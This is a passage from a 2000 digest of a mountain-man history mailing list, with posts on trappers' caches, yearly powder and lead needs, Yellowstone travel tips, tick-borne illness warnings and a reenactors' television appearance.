discontinued as has the thread .  (Some machines use left twist =
thread and=20
others use right twist thread, but I figured that the direction of the =
twist=20
would not make any difference in hand sewing.)  There are Leather =
Factory=20
stores around the country and if you can find one you might be able to =
negotiate=20
a similar discount.</FONT></DIV>
<DIV><FONT size=3D3>YMOS</FONT></DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV> </DIV>
<DIV>Check our Barbours and Leather Factory below:</DIV>
<DIV> </DIV>
<DIV><A =
href=3D"http://leatherfactory.com/">http://leatherfactory.com/</A></DIV>
<DIV><FONT size=3D3><A=20
href=3D"http://www.barbour-threads.com/profile.html">http://www.barbour-t=
hreads.com/profile.html</A></FONT></DIV>
<DIV> </DIV></BODY></HTML>

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From: Phyllis and Don Keas <[e-mail]>
Subject: MtMan-List: Powder
Date: 17 May 2000 16:51:54 -0600

Let's bring up one more tid bit to examine on cacheing powder & lead.  =
Just how much do you think a man would have carried for a year?  Did he =
shoot one, two, three times a day?  If he shot one time a day on the =
average, say 80 grains, how much powder and lead did he need?  Are we =
thinking that he carried so much that he needed to cache quite a bit?  Or =
did he not need to carry all that much?  Don


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Cacheing goods.
Date: 17 May 2000 17:58:10 -0500


-----Original Message-----


>How do you think the Cache Valey got it's name?  Dog,
>Gabe's Hole Brig.


Do you know how it got its name? Unless I am mistaken I believe it was
because some men were killed while in the process of making a cache. The
hole they were excavating collapsed in on them. A typical method of making a
cache for a large amount of goods was to excavate a hole in the earth,
usually near a stream or some type of water where the earth that was taken
out of the hole could be disposed of without leaving any sign, and then
placing goods to be cached inside and covering all remaining sign of any
type of activity. Of course a cache could consist of a large amount of
goods, or just one item. A good way of caching traps was to leave them
underwater, like in a spring, lake, or stream.

T. Clark


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From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 17 May 2000 17:56:05 -0500


> Bill, thanks for coming to the defense of Wyoming,
> especially about the bubble crested west coasters.
> Keep it up and maybe we'll let you in someday

Speaking of Wyoming...I plan to visit Yellowstone and surrounding area the
first of June,
and was wondering if anyone could suggest a few sites not normally seen by
the bubble
crested west coasters.  Ahh, I might add that I'm from Missouri, so don't
count me as
part of nuts, fruits, and flakes from the west coast.  I'm as normal as
anyone on this list. ;-)

I do plan to visit the Museum of the Mountain Man in Pinedale. Any other
good places
to visit? Any suggestions for good flyfishing locations not normally fished
by the west
coasters? Thanks much
J.D.


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 17 May 2000 18:21:17 -0500


-----Original Message-----
>Speaking of Wyoming...I plan to visit Yellowstone and surrounding area the
>first of June,
>and was wondering if anyone could suggest a few sites

What surrounding areas? East, west. north or south of the park? Have you
ever been there before? If you never been in the park, most all of it is
worth seeing once. That is, if you can go during the "off" season. If there
is such a thing. I had a lot of fun last fall along the Gallatin R. N.W. of
the park. Camped back somewhere on a little branch of the Gallatin which was
called "Portal Creek". The wife and I caught all of the cutthroat we cared
to. There are so many beautiful places to see it's hard to tell you where to
start. I am kind of partial to a place in the park called blacktail plateau
southeast of Mammoth Hot springs. There is a real beautiful spot which
requires a 30 minute hike to get into where the view is exceptional. It's a
360 degree view of mountains. My wife and I were married there by the park
minister.

T. Clark


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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Powder
Date: 17 May 2000 18:22:44 -0500

Don
That can be calculated if you know that one pound equals 7,000 grains.  =
Divide the charge weight (adding a smidgen for priming) into 7,000 to =
get the shots per pound of powder.   Your 80 grain load would probably =
yield about 80-odd shots if you allow for a little waste.  I don't know =
how much each of the various sized round ball weighs but the quanity of =
lead could be calculated in the same way.  I do know that a ball for a =
.62 caliber goes about 20 to the pound, with smaller sizes giving more =
ball to the pound, of course. =20
I will leave discussing the issue of cacheing powder and lead to others, =
but if I were in the rocky mountains in the 1820's or 1830's I would =
ALWAYS have a full horn and a hefty poke of ball if I had any choice in =
the matter at all.  =20
YMOS
Lanney=20

----- Original Message -----=20
Sent: Wednesday, May 17, 2000 5:51 PM


Let's bring up one more tid bit to examine on cacheing powder & lead.  =
Just how much do you think a man would have carried for a year?  Did he =
shoot one, two, three times a day?  If he shot one time a day on the =
average, say 80 grains, how much powder and lead did he need?  Are we =
thinking that he carried so much that he needed to cache quite a bit?  =
Or did he not need to carry all that much?  Don


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From: [e-mail]
Subject: Re: MtMan-List: Powder
Date: 17 May 2000 17:16:58 -0700



Seems to me that I read in Ogden's journal that once they got down to the Lemhi
River country, the men could hardly be restrained from running buffalo except by
restricting them access to powder and lead.  But, then, that's a big brigade
traveling with women, kids, and all the plunder.  Interesting question.  How
much lead & powder did a small party take?



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From: Allen Hall <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 17 May 2000 18:27:29 -0600

About 10 miles west of Pinedale is the site of Fort Bonneville.  It fits the
description given by period journals to a "T".  Also not far from there is
the site where Father DeSmet preached his sermon, and of course the Horse
Creek rendevous sites......and lots more.

Yellowstone isn't too bad before the 1st of July.

Allen

At 05:56 PM 05/17/2000 -0500, you wrote:
>
>> Bill, thanks for coming to the defense of Wyoming,
>> especially about the bubble crested west coasters.
>> Keep it up and maybe we'll let you in someday
>
>Speaking of Wyoming...I plan to visit Yellowstone and surrounding area the
>first of June,
>and was wondering if anyone could suggest a few sites not normally seen by
>the bubble
>crested west coasters.  Ahh, I might add that I'm from Missouri, so don't
>count me as
>part of nuts, fruits, and flakes from the west coast.  I'm as normal as
>anyone on this list. ;-)
>
>I do plan to visit the Museum of the Mountain Man in Pinedale. Any other
>good places
>to visit? Any suggestions for good flyfishing locations not normally fished
>by the west
>coasters? Thanks much
>J.D.
>
>
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From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Terrible Country
Date: 17 May 2000 17:49:17 -0700 (PDT)

If you plan on visiting the Yellerstone country in
early June (Or any time of year for that matter)be
sure and dress warm.  I am dead on serious-I have been
snowed on as late as July 3, and the wonderful Wyoming
wind is sharp as a blackfoot arrow.  Please don't tell
the bubble crested west coasters about this little
advertised fact.  There is a lot to see in that area,
and if you have time you should take the Chief Joseph
Highway out of Cody into Montana. It is easy to circle
back to the park, and you will see some really ugly
country-flat as a pancake and just as interesting.
Dog, Gabe's Hole Brig.

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Powder
Date: 17 May 2000 18:08:19 -0700

My guess is, what ever was available to them.  Based upon whatever
"intelligence" was available to them regarding hostiles, game and assorted
"targets of opportunity".  Tactical thinking ain't changed much over the
years, folks.  I have to think that "survival" thoughts were foremost in
ones thinking.
John Funk


----- Original Message -----
Sent: Wednesday, May 17, 2000 5:16 PM


>
>
> Seems to me that I read in Ogden's journal that once they got down to the
Lemhi
> River country, the men could hardly be restrained from running buffalo
except by
> restricting them access to powder and lead.  But, then, that's a big
brigade
> traveling with women, kids, and all the plunder.  Interesting question.
How
> much lead & powder did a small party take?
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: Wonderful country
Date: 17 May 2000 21:26:07 EDT



Speaking of Wyoming...I plan to visit Yellowstone and surrounding area the
first of June,
and was wondering if anyone could suggest a few sites not normally seen by
the bubble
crested west coasters.  Ahh, I might add that I'm from Missouri, so don't
count me as
part of nuts, fruits, and flakes from the west coast.  I'm as normal as
anyone on this list. ;-)

I do plan to visit the Museum of the Mountain Man in Pinedale. Any other
good places
to visit? Any suggestions for good flyfishing locations not normally fished
by the west
coasters? Thanks much
J.D.

Well sir,

I hate to do this, but you might drive out Horse Creek road north of Dubois
and fish the Wiggins Fork.  It's just over Togwotee Pass from Jackson Hole
(and headwaters of the Wind River.) Great car camping all through that
country, lots of excellent access to the wilderness, plenty of (gulp!) griz,
all that good stuff.  Just don't go back there during elk season, especially
not to the cut blocks above Bush Lake, er else you'll be persona non grata
with this ole coon.

On the 4th of July they have a fun little roundezvous in Riverton at the site
(approximately) of the original 1830 & 1838 doins.  Look up Jake Korell in
Riverton-- if there's a man alive today that would fit right in with Bridger,
Fitzpatrick, Walker and such, it'd be Jake Korell.  He's got all the skills.

Visit the Shoshones and Arapahoes in Ft. Washakie and Ethete et. al. while
you're in the country.  You can still pick up fine beadwork for a song.

And that's all I'm going to divulge about my blessed home (though I live down
here in Colo. right now), at least to a flatlander.  Now if you were from
California, the resting place of Andy Sublette, George Yount and countless
other fine frontiersmen, as well as the location of the highest mountains in
the lower '48 and home to probably the best black bear hunting in America, I
might be tempted to tell you more.

Just kidding JD, I hope you have a good time.

john r sweet








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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Powder
Date: 17 May 2000 20:46:18 -0700

Don,
  I can't remember where I read it, but I seem to recall that a typical
outfit for a trapper was 20 pounds of powder and 40 pounds of lead.  Now
that seems like a lot, but when you factor in the possibility of loss due to
thievery, wet conditions, plus having some for trade, etc. That was most
likely about right.  In a .50 cal. rifle it takes about 1 lbs. powder to
fire 2 lbs. of lead.  I know all that depends on what charge you use, and
how much you donate to Mother Earth.
Pendleton
-----Original Message-----


Let's bring up one more tid bit to examine on cacheing powder & lead.  Just
how much do you think a man would have carried for a year?  Did he shoot
one, two, three times a day?  If he shot one time a day on the average, say
80 grains, how much powder and lead did he need?  Are we thinking that he
carried so much that he needed to cache quite a bit?  Or did he not need to
carry all that much?  Don


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From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: lymes disease
Date: 17 May 2000 21:45:25 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_007E_01BFC049.356DD800
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Ho the list
I have something serious to talk about so listen up.  It ain't history =
oriented, but that's too bad.

Last fall my brother contracted lymes disease, a tick borne infectious =
disease that is getting more widespread daily.  He has been hospitalized =
several times and has some scary symptoms.  Some people die from the =
disease, but it is more often just dibilitating.  His doctor told him =
that he will be off work a minimum of six months, but more likely at =
least a year.  Luckily his employer, the City of Arlington, Texas, is =
being very cooperative and between workman's comp and the city he will =
continue to receive his full salary.  Yes,  I said workman's comp.  His =
occupation, utility worker, is among the most widely affected groups and =
with the excellent documentation my brother provided he was approved for =
workman's comp.  In fact, he is thought to be the first person in Texas =
to be approved for  workman's comp due to lymes disease.
Lymes disease is contracted from a tick about the size of a grain of =
coarse pepper, not the big dog ticks that you can actually see.  The =
disease is widespread all over the USA and is approaching epidemic =
proportions in some areas.  My brother's doctor said that state tourism =
departments are downplaying the disease for fear of scaring off =
tourists.  How do you like that?!
Any of us who use the outdoors, and who uses the outdoors more that =
buckskinners?, are subject to infection and should make ourselves aware =
of the dangers and possible preventive measures.  There is a vaccine, =
LYMErix, that goes a long way toward preventing infection.  I have =
included below a couple of sites to find out more about this disease and =
about the vaccine.   I intend to get the vaccine immediately and I urge =
everybody to read this and any other information about lymes disease and =
decide for themselves what is best for them.=20
My brother told me that he will gladly talk to anybody about his case =
and effects it has had on his life.  He asks that you call no later than =
9:00pm Central Time.  My brother's name is Danney Ratcliff and his phone =
number is 817 483 0588
YMOS
Lanney Ratcliff

http://lymerix.com/

http://www.pslgroup.com/dg/148ba2.htm

------=_NextPart_000_007E_01BFC049.356DD800
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>Ho the list</FONT></DIV>
<DIV>I have something serious to talk about so listen up.  It ain't =
history=20
oriented, but that's too bad.</DIV>
<DIV> </DIV>
<DIV>Last fall my brother contracted lymes disease, a tick borne =
infectious=20
disease that is getting more widespread daily.  He has been =
hospitalized=20
several times and has some scary symptoms.  Some people die from =
the=20
disease, but it is more often just dibilitating.  His doctor told =
him that=20
he will be off work a minimum of six months, but more likely at least a=20
year.  Luckily his employer, the City of Arlington, Texas, is being =
very=20
cooperative and between workman's comp and the city he will continue to =
receive=20
his full salary.  Yes,  I said workman's comp.  His =
occupation,=20
utility worker, is among the most widely affected groups and with the =
excellent=20
documentation my brother provided he was approved for workman's =
comp.  In=20
fact, he is thought to be the first person in Texas to be approved =
for =20
workman's comp due to lymes disease.</DIV>
<DIV>Lymes disease is contracted from a tick about the size of a grain =
of coarse=20
pepper, not the big dog ticks that you can actually see.  The =
disease is=20
widespread all over the USA and is approaching epidemic proportions in =
some=20
areas.  My brother's doctor said that state tourism departments are =

downplaying the disease for fear of scaring off tourists.  How do =
you like=20
that?!</DIV>
<DIV>Any of us who use the outdoors, and who uses the outdoors more =
that=20
buckskinners?, are subject to infection and should make ourselves aware =
of the=20
dangers and possible preventive measures.  There is a vaccine, =
LYMErix,=20
that goes a long way toward preventing infection.  I have included =
below a=20
couple of sites to find out more about this disease and about the=20
vaccine.   I intend to get the vaccine immediately and I urge=20
everybody to read this and any other information about lymes disease and =
decide=20
for themselves what is best for them. </DIV>
<DIV>My brother told me that he will gladly talk to anybody about his =
case and=20
effects it has had on his life.  He asks that you call no later =
than 9:00pm=20
Central Time.  My brother's name is Danney Ratcliff and his phone =
number is=20
817 483 0588</DIV>
<DIV>YMOS</DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV> </DIV>
<DIV><FONT size=3D3><A=20
href=3D"http://lymerix.com/">http://lymerix.com/</A></FONT></DIV>
<DIV><FONT size=3D3></FONT> </DIV>
<DIV><FONT size=3D3><A=20
href=3D"http://www.pslgroup.com/dg/148ba2.htm">http://www.pslgroup.com/dg=
/148ba2.htm</A></FONT></DIV></BODY></HTML>

------=_NextPart_000_007E_01BFC049.356DD800--


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Cacheing goods.
Date: 17 May 2000 21:17:34 -0600

In Cache valley, between Hyrum and Wellsville an old cache was discovered in
the 1970s, I think. IT was empty, but it was an old cache.
-----Original Message-----


>
>-----Original Message-----
>From: Ronald Schrotter <[e-mail]>
>To: hist list <[e-mail]>
>Date: May 17, 2000 11:22 AM
>Subject: MtMan-List: Cacheing goods.
>
>
>>How do you think the Cache Valey got it's name?  Dog,
>>Gabe's Hole Brig.
>
>
>Do you know how it got its name? Unless I am mistaken I believe it was
>because some men were killed while in the process of making a cache. The
>hole they were excavating collapsed in on them. A typical method of making
a
>cache for a large amount of goods was to excavate a hole in the earth,
>usually near a stream or some type of water where the earth that was taken
>out of the hole could be disposed of without leaving any sign, and then
>placing goods to be cached inside and covering all remaining sign of any
>type of activity. Of course a cache could consist of a large amount of
>goods, or just one item. A good way of caching traps was to leave them
>underwater, like in a spring, lake, or stream.
>
>T. Clark
>
>
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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Wonderful country
Date: 17 May 2000 21:18:38 -0600

Anywhere you go is great. Best to hook up with a local though, provided you
can find one in the crush.
-----Original Message-----


>
>> Bill, thanks for coming to the defense of Wyoming,
>> especially about the bubble crested west coasters.
>> Keep it up and maybe we'll let you in someday
>
>Speaking of Wyoming...I plan to visit Yellowstone and surrounding area the
>first of June,
>and was wondering if anyone could suggest a few sites not normally seen by
>the bubble
>crested west coasters.  Ahh, I might add that I'm from Missouri, so don't
>count me as
>part of nuts, fruits, and flakes from the west coast.  I'm as normal as
>anyone on this list. ;-)
>
>I do plan to visit the Museum of the Mountain Man in Pinedale. Any other
>good places
>to visit? Any suggestions for good flyfishing locations not normally fished
>by the west
>coasters? Thanks much
>J.D.
>
>
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From: Jerry & Barbara Zaslow <[e-mail]>
Subject: RE: MtMan-List: priming horn
Date: 17 May 2000 21:36:17 -0700 (PDT)

Funny thing about what Rick is saying is that it is really easy to get 4f
without actually buying it.  Before I won 2 lbs. of the stuff in a shoot
(which will probably last me the rest of my life), I used to take 2f or 3f
powder and filter it through an old pair of my wife's panty hose.  (No she
was not still in them!)  I got all the priming powder I needed.  Just my 2
cents.

Best Regards,

Jerry (Meriwether) Zaslow #1488

At 04:25 PM 05/16/2000 +0100, you wrote:
>Why wouldn't you just mash up a little 2f between sheets and viola--4f.  Not
>trying to say it was done, but we can't dismiss it either.  The controls on
>powder were not as they are today.  Powder would have contained more
>variation in granularity and fine stuff can always be made!
>
>Rick
>
>-----Original Message-----
>From: [e-mail]
>[mailto:[e-mail]]On Behalf Of larry pendleton
>Sent: Tuesday, May 16, 2000 3:12 AM
>To: [e-mail]
>Subject: Re: MtMan-List: priming horn
>
>
>Ok guys.  How about a different slant on the priming horn question ?  Can
>anyone document 4f powder, and in what quantiies ?  Can anyone document it
>going to the mountains in the pre-1840 period ?  I don't recall ever seeing
>a reference to 4f or superfine powder.  It seems to me if there wasn't any
>priming powder to be had, then they didn't have a need for a priming horn.
>Hmmm just a thought.
>Pendleton
>-----Original Message-----
>From: Dennis Earp <[e-mail]>
>To: [e-mail] <[e-mail]>
>Date: Monday, May 15, 2000 8:14 AM
>Subject: Re: MtMan-List: priming horn
>
>
>Tony,
>
>I talked to Jim at the annual Horner's Guild meeting last month and he's
>a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
>around to discussing priming horns.  I have talked to Roland Cadle on
>several occasions ( past president of the Horner's Guild ) and he's of
>the opinion that any small horn was a day horn and mostly 19th century.
>That's not to say priming horns didn't exist then, but I haven't been able
>to document one as yet other than those use to prime cannons.
>
>Dennis
>
>>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>>author of "The Engraved Powder Horn", and probably the countries foremost
>>authority on powder horns, and he also mentioned that there are very few
>>references in period documents to priming horns, and that priming horns
>>generally weren't used by many folks.
>
>
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>
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>
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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Powder
Date: 18 May 2000 07:45:14 -0600

Larry,
I would think that if those amounts are correct, part of that total could be
for trade?
YMOS
Ole # 718
----------
>From: "larry pendleton" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: Powder
>Date: Wed, May 17, 2000, 9:46 PM
>

>Don,
>  I can't remember where I read it, but I seem to recall that a typical
>outfit for a trapper was 20 pounds of powder and 40 pounds of lead.  Now
>that seems like a lot, but when you factor in the possibility of loss due to
>thievery, wet conditions, plus having some for trade, etc. That was most
>likely about right.  In a .50 cal. rifle it takes about 1 lbs. powder to
>fire 2 lbs. of lead.  I know all that depends on what charge you use, and
>how much you donate to Mother Earth.
>Pendleton
>-----Original Message-----
>From: Phyllis and Don Keas <[e-mail]>
>To: History Text <[e-mail]>
>Date: Wednesday, May 17, 2000 3:48 PM
>Subject: MtMan-List: Powder
>
>
>Let's bring up one more tid bit to examine on cacheing powder & lead.  Just
>how much do you think a man would have carried for a year?  Did he shoot
>one, two, three times a day?  If he shot one time a day on the average, say
>80 grains, how much powder and lead did he need?  Are we thinking that he
>carried so much that he needed to cache quite a bit?  Or did he not need to
>carry all that much?  Don
>
>
>----------------------
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>
>----------------------
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From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 18 May 2000 09:34:23 -0600

JD,
email me personally, I live just southeast of Yellowstone in Dubois,
I will give you some ideas
Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

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From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Ticks
Date: 18 May 2000 09:50:31 -0700 (PDT)

Lanney, good on ya for the message about Lyme disease!
While on the subject of ticks, I had a personal
experience That may be helpful.  Years ago, upon
returning from the AMM voo on Lake Viva Naughton here
in Wyoming, I got home feeling poorly, and by the next
day was running a fever of 103! Went to the Doc, and
upon examination they found a tick bite on my arm,
circled with red about the size of a silver dollar.
TICK FEVER!  I was laid up for three days with fever
as high as 104 and that was after the antibiotics.  My
joints ached for several days afterwards.  Had I not
gotten the shot, it could have been fatal.  I urge all
to check daily for ticks when out on the ground, and
if a bite starts turning red, get medical assistance
PRONTO!  Dog, Gabe's Hole Brig.

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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From: [e-mail]
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 18 May 2000 12:29:26 -0700

been folowing this string a bit and just thought i would put out a couple
of tidbits and interject a bit of basic thoughts that you could mull over
and chew up and spit out in various forms-------several years ago when I
was shooting a lot---I went to a shooting match ever weekend but one that
year i kept track of my shooting----I averaged going to the range about 2
to three times a week and always shot at least 25 shots each time
according to my records---that year I burned over 120 lb of powder all in
1 lb cans---I averaged about 80 shots to the pound because I shot
primarily a 54 but also shot a 50 ---a 40 and  a 45---I also shot a bit
of pistol in this number---according to what i documented I shot over
8500 rounds and burned up over 200 lb of lead----I used up 2 full cases
of GI cleaning patches---and used up just less than 10 yds of patching
material.   this means that I shot about 15 shots a day on the
average---far more than the mountan man would ever have done---I averaged
getting about 70  to 80 shots to the pound I shot both flint and
percussion and for getting a total weight of things a 1000 cap round roll
of caps would weight about a lb if caps were used in place of flints

thats doing a bit of shooting and powder burning so from this I can
almost come to a deduction of what i would be taking to the mountains if
I were going to stay for a year or more and not worry about running out
of powder and lead---and patching

I would have took 2 to 4 ----25lb kegs of powder---75 to 150 lb of lead
and 10 yds of patching---25 lb of tow for cleaning

yes this is excessive---probably last over a year if needed but I sure
wouldnt run out of supplies---

would also need a bit of salt----I would guess about 100 lbs would last
for curing hides and meat  I would also guess that you would need 5 yds
of cloth to make char for fire starting and about 2 grose of rifle
flints---a couple of good woll blankets---a half dozen good skinner
knives ---a good ax and tomahawk--- a good bow saw---a half dozen #4
double  spring traps---a half dozen # 1 1/2  single spring traps--at
least 2 or more fire steels.

now you have a basic load without any creature conforts---total up the
weight-----comes to over 400 lbs without creature comforts---or riggin
for the horses or mules---each pack animal could carry about 125 lb
easily---means at least 3 pack animals

Now for Practicality----all this is predicated on staying in the
mountains for a year or more---now go to the records of the various
organizations that went to the roo's in the shining mountains and you
will find that they guessed that each man they supported needed about 150
to 200 lb of supplies minimum----so you could cut the powder and lead to
about half of the above and they would be more than ampily covered---that
means if the mountain man overloaded a horse or mule and it carried 150
to 200 lbs then there was just about a years supply of powder and such
for survival in the mountains for a year or slightly over------

just a few tidbits for food for thought---angelia probably could
enlighten us a bit on the more exact numbers of Lbs of supplies that were
taken to support the mountain man---

now this supports the theory that almost all of them casha at least a
portion of their equipment or had a base camp that protected it---that is
in my estimation and just my humbel opinion of course---and who am i to
say what they actually did---just gives us a base to look at in the
practical and logical sense.

YMHOSANT
   =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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From: "Walt Foster" <[e-mail]>
Subject: RE: MtMan-List: Wonderful country
Date: 18 May 2000 11:35:52 -0600



On the Lewis & Clark Trail
Park City, Montana

JD,
email me personally, I live just northeast of Yellowstone in Park City,
I will give you some ideas also.  Walt



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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 18 May 2000 11:52:57 -0600

Great data, Hawk. That's a lot of attention paid to what you are doing. How
I wish I had done that also.
Bill C
-----Original Message-----


>been folowing this string a bit and just thought i would put out a couple
>of tidbits and interject a bit of basic thoughts that you could mull over
>and chew up and spit out in various forms-------several years ago when I
>was shooting a lot---I went to a shooting match ever weekend but one that
>year i kept track of my shooting----I averaged going to the range about 2
>to three times a week and always shot at least 25 shots each time
>according to my records---that year I burned over 120 lb of powder all in
>1 lb cans---I averaged about 80 shots to the pound because I shot
>primarily a 54 but also shot a 50 ---a 40 and  a 45---I also shot a bit
>of pistol in this number---according to what i documented I shot over
>8500 rounds and burned up over 200 lb of lead----I used up 2 full cases
>of GI cleaning patches---and used up just less than 10 yds of patching
>material.   this means that I shot about 15 shots a day on the
>average---far more than the mountan man would ever have done---I averaged
>getting about 70  to 80 shots to the pound I shot both flint and
>percussion and for getting a total weight of things a 1000 cap round roll
>of caps would weight about a lb if caps were used in place of flints
>
>thats doing a bit of shooting and powder burning so from this I can
>almost come to a deduction of what i would be taking to the mountains if
>I were going to stay for a year or more and not worry about running out
>of powder and lead---and patching
>
>I would have took 2 to 4 ----25lb kegs of powder---75 to 150 lb of lead
>and 10 yds of patching---25 lb of tow for cleaning
>
>yes this is excessive---probably last over a year if needed but I sure
>wouldnt run out of supplies---
>
>would also need a bit of salt----I would guess about 100 lbs would last
>for curing hides and meat  I would also guess that you would need 5 yds
>of cloth to make char for fire starting and about 2 grose of rifle
>flints---a couple of good woll blankets---a half dozen good skinner
>knives ---a good ax and tomahawk--- a good bow saw---a half dozen #4
>double  spring traps---a half dozen # 1 1/2  single spring traps--at
>least 2 or more fire steels.
>
>now you have a basic load without any creature conforts---total up the
>weight-----comes to over 400 lbs without creature comforts---or riggin
>for the horses or mules---each pack animal could carry about 125 lb
>easily---means at least 3 pack animals
>
>Now for Practicality----all this is predicated on staying in the
>mountains for a year or more---now go to the records of the various
>organizations that went to the roo's in the shining mountains and you
>will find that they guessed that each man they supported needed about 150
>to 200 lb of supplies minimum----so you could cut the powder and lead to
>about half of the above and they would be more than ampily covered---that
>means if the mountain man overloaded a horse or mule and it carried 150
>to 200 lbs then there was just about a years supply of powder and such
>for survival in the mountains for a year or slightly over------
>
>just a few tidbits for food for thought---angelia probably could
>enlighten us a bit on the more exact numbers of Lbs of supplies that were
>taken to support the mountain man---
>
>now this supports the theory that almost all of them casha at least a
>portion of their equipment or had a base camp that protected it---that is
>in my estimation and just my humbel opinion of course---and who am i to
>say what they actually did---just gives us a base to look at in the
>practical and logical sense.
>
>YMHOSANT
>   =+=
>HAWK
>Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
>854 Glenfield Dr.
>Palm Harbor florida 34684
>E-Mail: [e-mail]   Web site:
>http://www.angelfire.com/fl2/mpierce
>
>________________________________________________________________
>YOU'RE PAYING TOO MUCH FOR THE INTERNET!
>Juno now offers FREE Internet Access!
>Try it today - there's no risk!  For your FREE software, visit:
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>
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From: "Henry B. Crawford" <[e-mail]>
Subject: MtMan-List: Texas rangers.  Oh, well. (OT)
Date: 18 May 2000 16:19:15 -0500

Well, what can I say.  I guess I'm not the first person whose best moments
ended up on the cutting room floor.  Folks, it looks like they concentrated
more on the modern aspects and barely touched on history at all.  Like I
said, I didn't see the finished product, or I would not have publicized it
as much.  I was told by the producers that all of the reenacting footage was
great.  I spoke to the Assoc. Producer at CBS who said that the Discovery
Channel people completely reformatted the show.  That's not uncommon.  It's
like the difference between the released version of a movie and the
director's cut.  Most of us would rather have the director's cut.  Once the
project was delivered to the Discovery Channel it was no longer under the
artistic control of CBS.  Hopefully they'll save it for some later project,
but I've done enough of these things to know better.

Anyway, since the credits didn't mention any of the reenactors, I will:

Henri Adams
Tino Campa
Gary Carpenter
Henry B. Crawford
Barry Faltesek
Glen Hadler
C. B. "Hoppy" Hopkins
Peter Kotzur
Eddie Miller
N. Shawn Pascuzzi
Chuck Sheppard

My thanks to all of them for their time.  We're all getting free videos out of
it, but it would have been nice to see our names on the broadcast piece.
The producer told me that the reenactor's names were included in the
delivered version, but Disc. Channel chopped them.  We will receive the
home video/European version, which has an additional 5 or so minutes and
the (hopefully) complete list of credits.  They don't show as many
commercials in Europe.

The Comanche warrior was played by Hoppy Hopkins, a splendid horseman (and
good friend) from Fredericksburg, TX who truly knows his stuff.  He has
been adopted by the Comanche, which is a great honor.

I appeared in two quick scenes.  One scene near the beginning shows me and
another
"outlaw" being chased by a Ranger whose hat comes off during the chase.  I
am the outlaw on the gray mare (note the double breasted maroon vest, which
some of you have seen me wear at events).  That's Henri Adams of Miles, TX
chasing us.  The gray mare I'm riding is named Libby and belongs to Shawn
Pascuzzi, a fine saddlemaker in San Angelo, TX. The other scene shows my
gun hand firing my 1860 Army Colt during the short segment on Colt
revolvers in the middle of the show.  You can see the cream of wheat
spilling out of the chambers.

That's all you see of me.  I wish they would have shown me getting gunned
down by outlaw John Wesley Hardin; historically accurate for sure, but I
guess that wasn't politically correct enough for Discovery Channel
sensitivities.

Well, guys and gals.  That's it. Sorry there wasn't more of the Old West
shown.

Anyway, I hope to see you down the trail.  Keep your powder dry.

Cheers,
HBC

**********************************
Henry B. Crawford
Curator of History
Museum of Texas Tech University
Box 43191
Lubbock, TX  79409-3191
[e-mail]
806/742-2442  FAX [phone]
Website: http://www.ttu.edu/~museum
***  Living History . . . Because It's There  ***



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From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 18 May 2000 19:42:43 -0500

> What surrounding areas? East, west. north or south of the park?

Yep, anywhere in the area. I plan to keep my schedule flexible
and visit any scenic/historic site in whatever area I happen to be in
at the time. Wherever the wind blows.

>Have you
> ever been there before? If you never been in the park, most all of it is
> worth seeing once. That is, if you can go during the "off" season. If
there
> is such a thing.

I passed through Yellowstone a coupla years ago. A one day tour on the
way home from a canoe trek on the Missouri River, so I'm going to spend a
week,
or so in the area to see the sights, and maybe catch a few fish. I plan to
arrive
in Yellowstone June 1st, before the crested West Coast tourons, rhymes with
morons,
descends on the area in full force.

>I had a lot of fun last fall along the Gallatin R. N.W. of
> the park. Camped back somewhere on a little branch of the Gallatin which
was
> called "Portal Creek". The wife and I caught all of the cutthroat we cared
> to. There are so many beautiful places to see it's hard to tell you where
to
> start. I am kind of partial to a place in the park called blacktail
plateau
> southeast of Mammoth Hot springs. There is a real beautiful spot which
> requires a 30 minute hike to get into where the view is exceptional. It's
a
> 360 degree view of mountains. My wife and I were married there by the park
> minister.
>
>
That area on the Galatin sounds like the kind of place I would like to
visit. I don't
do well in crowds, and plan to avoid them when possible. I will definitely
do
